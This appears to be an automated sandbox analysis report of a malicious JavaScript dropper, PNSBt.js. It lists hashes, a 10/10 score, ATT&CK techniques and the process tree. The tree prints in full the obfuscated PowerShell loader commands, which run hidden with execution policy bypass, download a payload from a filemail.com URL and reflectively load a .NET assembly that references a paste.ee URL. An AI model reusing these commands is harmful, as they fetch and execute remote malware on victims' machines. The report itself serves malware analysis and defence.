3f354bdb3557ffb64892e788c439adc0da9f7fd4f39b143a1cc2d8f7059b4488

General

Target

PNSBt.js
Size

103KB
MD5

82bf71f9d463c60e2304cbf9f9cac022
SHA1

d54cce9d9a238310b00d154c9f35033e62ca1d81
SHA256

3f354bdb3557ffb64892e788c439adc0da9f7fd4f39b143a1cc2d8f7059b4488
SHA512

19bf4493c19a438fbd21266f012f21b22a2cf0448db22c41d9994afaa200a04a621968737953c12408f7d31e9c8c0bbd253e900823364210090e98a841b5004c
SSDEEP

3072:MHXp+q62Nhxdd5pdq61HXp+q62Nhxdd5pdqsVd0HXp+q62Nhxdd5pdq61HXp+q61:k3/13jc3/13+

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 1712 powershell.exe
6 1712 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2364 powershell.exe
1712 powershell.exe
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2364 powershell.exe
1712 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2364 powershell.exe
Token: SeDebugPrivilege 1712 powershell.exe

flow	pid	process
5	1712	powershell.exe
6	1712	powershell.exe

pid	process
2364	powershell.exe
1712	powershell.exe

pid	process
2364	powershell.exe
1712	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

wscript.exepowershell.exe

description	pid	process	target process
PID 2984 wrote to memory of 2364	2984	wscript.exe	powershell.exe
PID 2984 wrote to memory of 2364	2984	wscript.exe	powershell.exe
PID 2984 wrote to memory of 2364	2984	wscript.exe	powershell.exe
PID 2364 wrote to memory of 1712	2364	powershell.exe	powershell.exe
PID 2364 wrote to memory of 1712	2364	powershell.exe	powershell.exe
PID 2364 wrote to memory of 1712	2364	powershell.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\PNSBt.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LgAoACgARwBlAFQALQBWAGEAcgBJAGEAQgBsAGUAIAAnACoAbQBkAFIAKgAnACkALgBOAGEATQBlAFsAMwAsADEAMQAsADIAXQAtAGoAbwBJAE4AJwAnACkAKAAgACgAJwBjAHEAagBpAG0AYQBnAGUAVQByAGwAIAA9ACAAcABYAHoAaAB0AHQAcABzADoALwAvADEAMAAxADcALgBmAGkAbABlAG0AYQBpAGwALgBjAG8AbQAvAGEAcABpAC8AZgBpAGwAZQAvAGcAZQB0AD8AZgBpAGwAZQBrAGUAeQA9ADIAQQBhAF8AYgBXAG8AOQBSAGUAdQA0ADUAdAA3AEIAVQAxAGsAVgBnAHMAZAA5AHAAVAA5AHAAZwBTAFMAbAB2AFMAdABHAHIAbgBUAEkAQwBmAEYAaABtAFQASwBqADMATABDADYAUwBRACcAKwAnAHQASQBjAE8AYwBfAFQAMwA1AHcAJgBwAGsAXwB2ACcAKwAnAGkAZAA9AGYAZAA0AGYANgAxADQAYgBiADIAMAA5AGMANgAyAGMAMQA3ADMAMAA5ADQANQAxADcANgBhADAAOQAwADQAZgAgAHAAWAB6ADsAYwBxAGoAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACcAKwAnAGMAcQBqAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAYwBxAGoAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoAGMAcQBqAGkAbQBhAGcAZQBVAHIAJwArACcAbAApADsAYwBxAGoAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAYwBxACcAKwAnAGoAaQBtAGEAZwBlAEIAeQB0AGUAcwApACcAKwAnADsAYwBxAGoAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAcABYAHoAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgBwAFgAegA7AGMAcQBqAGUAbgBkAEYAbABhAGcAIAA9ACAAcABYAHoAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+AHAAWAB6ADsAYwBxAGoAcwAnACsAJwB0AGEAcgAnACsAJwB0AEkAbgBkAGUAeAAgAD0AIABjAHEAagBpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeAAnACsAJwBPACcAKwAnAGYAKABjAHEAagBzAHQAYQByAHQARgBsAGEAZwApADsAYwBxAGoAZQBuAGQAJwArACcASQBuAGQAZQB4ACAAPQAgAGMAcQBqAGkAbQAnACsAJwBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AJwArACcAZgAoAGMAcQBqAGUAbgBkAEYAbABhAGcAKQA7AGMAcQAnACsAJwBqACcAKwAnAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAYwBxAGoAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIABjAHEAagBzAHQAYQByAHQASQBuAGQAZQB4ADsAYwBxAGoAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgAGMAcQBqAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwBjAHEAagBiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIABjAHEAagAnACsAJwBlAG4AZABJAG4AZABlAHgAIAAtACAAYwBxAGoAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AGMAcQBqAGIAYQBzAGUANgA0AEMAbwAnACsAJwBtAG0AYQBuAGQAIAA9ACAAYwBxAGoAJwArACcAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACcAKwAnAGMAcQBqAHMAdABhAHIAdABJAG4AJwArACcAZABlAHgALAAnACsAJwAgAGMAcQBqAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwBjAHEAagAnACsAJwBiAGEAcwBlADYANABSAGUAdgBlAHIAcwBlAGQAIAA9ACAALQBqAG8AaQBuACAAKABjAHEAagBiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkAC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAG4AeABhACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgAGMAcQBqAF8AIAB9ACkAWwAtADEALgAuAC0AKABjAHEAagBiAGEAcwBlADYANABDAG8AJwArACcAbQBtAGEAbgBkAC4ATABlAG4AZwB0AGgAKQBdADsAYwBxAGoAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAGMAcQBqAGIAYQBzAGUANgA0AFIAZQB2AGUAcgBzAGUAZAApADsAYwBxAGoAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwAnACsAJwBuAC4AQQBzAHMAZQBtAGIAJwArACcAbAB5ACcAKwAnAF0AJwArACcAOgA6AEwAbwBhACcAKwAnAGQAKABjAHEAagBjAG8AbQBtAGEAJwArACcAbgBkAEIAeQB0AGUAcwApADsAYwBxAGoAdgBhAGkATQBlACcAKwAnAHQAaABvAGQAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoAHAAWAB6AFYAQQBJAHAAWAAnACsAJwB6ACkAOwBjAHEAagB2AGEAaQBNAGUAdABoAG8AZAAuAEkAbgB2AG8AawBlACcAKwAnACgAYwBxAGoAbgB1AGwAbAAsACAAQAAoAHAAWAB6ADAALwA4AGUAUgAnACsAJwBOAEcALwBkAC8AZQBlAC4AZQB0AHMAYQBwAC8ALwA6AHMAcAB0AHQAaABwAFgAegAsACAAcABYAHoAZABlAHMAYQB0AGkAdgBhAGQAbwBwAFgAegAsACAAcABYAHoAZAAnACsAJwBlAHMAYQB0AGkAdgBhAGQAJwArACcAbwBwAFgAegAsACAAcABYAHoAZABlAHMAYQB0AGkAdgBhAGQAbwAnACsAJwBwAFgAegAsACAAcABYAHoATQBTAEIAdQBpAGwAZABwAFgAegAsACAAcABYAHoAZABlACcAKwAnAHMAYQB0AGkAdgBhAGQAbwBwAFgAegAsACAAcABYAHoAZAAnACsAJwBlAHMAYQAnACsAJwB0AGkAdgBhAGQAbwBwAFgAegAsAHAAWAB6AGQAZQBzAGEAdABpAHYAYQBkAG8AcABYAHoALABwAFgAegBkAGUAcwBhAHQAaQB2AGEAZABvAHAAWAB6ACwAcABYAHoAZABlAHMAYQB0AGkAdgBhAGQAbwBwAFgAegAsAHAAWAB6AGQAZQBzAGEAdABpAHYAYQBkAG8AcABYAHoALABwAFgAegBkAGUAcwBhAHQAaQB2AGEAZABvAHAAWAB6ACwAcABYAHoAMQBwAFgAegAsAHAAWAB6AGQAZQAnACsAJwBzAGEAdABpAHYAYQBkAG8AcABYAHoAKQApADsAJwApAC4AcgBlAFAATABBAEMAZQAoACgAWwBDAEgAQQBSAF0AMQAxADAAKwBbAEMASABBAFIAXQAxADIAMAArAFsAQwBIAEEAUgBdADkANwApACwAJwB8ACcAKQAuAHIAZQBQAEwAQQBDAGUAKAAoAFsAQwBIAEEAUgBdADEAMQAyACsAWwBDAEgAQQBSAF0AOAA4ACsAWwBDAEgAQQBSAF0AMQAyADIAKQAsAFsAcwB0AHIAaQBOAGcAXQBbAEMASABBAFIAXQAzADkAKQAuAHIAZQBQAEwAQQBDAGUAKAAoAFsAQwBIAEEAUgBdADkAOQArAFsAQwBIAEEAUgBdADEAMQAzACsAWwBDAEgAQQBSAF0AMQAwADYAKQAsACcAJAAnACkAIAApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((GeT-VarIaBle '*mdR*').NaMe[3,11,2]-joIN'')( ('cqjimageUrl = pXzhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQ'+'tIcOc_T35w&pk_v'+'id=fd4f614bb209c62c1730945176a0904f pXz;cqjwebClient = New-Object System.Net.WebClient;'+'cqjimageBytes = cqjwebClient.DownloadData(cqjimageUr'+'l);cqjimageText = [System.Text.Encoding]::UTF8.GetString(cq'+'jimageBytes)'+';cqjstartFlag = pXz<<BASE64_START>>pXz;cqjendFlag = pXz<<BASE64_END>>pXz;cqjs'+'tar'+'tIndex = cqjimageText.Index'+'O'+'f(cqjstartFlag);cqjend'+'Index = cqjim'+'ageText.IndexO'+'f(cqjendFlag);cq'+'j'+'startIndex -ge 0 -and cqjendIndex -gt cqjstartIndex;cqjstartIndex += cqjstartFlag.Length;cqjbase64Length = cqj'+'endIndex - cqjstartIndex;cqjbase64Co'+'mmand = cqj'+'imageText.Substring('+'cqjstartIn'+'dex,'+' cqjbase64Length);cqj'+'base64Reversed = -join (cqjbase64Command.ToCharArray() nxa ForEach-Object { cqj_ })[-1..-(cqjbase64Co'+'mmand.Length)];cqjcommandBytes = [System.Convert]::FromBase64String(cqjbase64Reversed);cqjloadedAssembly = [System.Reflectio'+'n.Assemb'+'ly'+']'+'::Loa'+'d(cqjcomma'+'ndBytes);cqjvaiMe'+'thod = [dnlib.IO.Home].GetMethod(pXzVAIpX'+'z);cqjvaiMethod.Invoke'+'(cqjnull, @(pXz0/8eR'+'NG/d/ee.etsap//:sptthpXz, pXzdesativadopXz, pXzd'+'esativad'+'opXz, pXzdesativado'+'pXz, pXzMSBuildpXz, pXzde'+'sativadopXz, pXzd'+'esa'+'tivadopXz,pXzdesativadopXz,pXzdesativadopXz,pXzdesativadopXz,pXzdesativadopXz,pXzdesativadopXz,pXz1pXz,pXzde'+'sativadopXz));').rePLACe(([CHAR]110+[CHAR]120+[CHAR]97),'|').rePLACe(([CHAR]112+[CHAR]88+[CHAR]122),[striNg][CHAR]39).rePLACe(([CHAR]99+[CHAR]113+[CHAR]106),'$') )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
444f7ac837dae7d0fe28874925cee600

SHA1
15928bc9226690d54d534e29d1dbbc535a48c85b

SHA256
2f4027b8aded461aa5a666073be597348a2e130308d5683b05ba2601613e0d73

SHA512
47dc9a71935b15b66be6843213882510cb31a50ea2576220b840b379c681e9c8eff3c334fe90219a37ee89c7c5221ac4565514d52f7c83099c862852d640cb7c

Download Submit
memory/2364-4-0x000007FEF5AEE000-0x000007FEF5AEF000-memory.dmp

Filesize
4KB

Download
memory/2364-5-0x000000001B7E0000-0x000000001BAC2000-memory.dmp

Filesize
2.9MB

Download
memory/2364-6-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2364-7-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

Filesize
9.6MB

Download
memory/2364-13-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

Filesize
9.6MB

Download
memory/2364-14-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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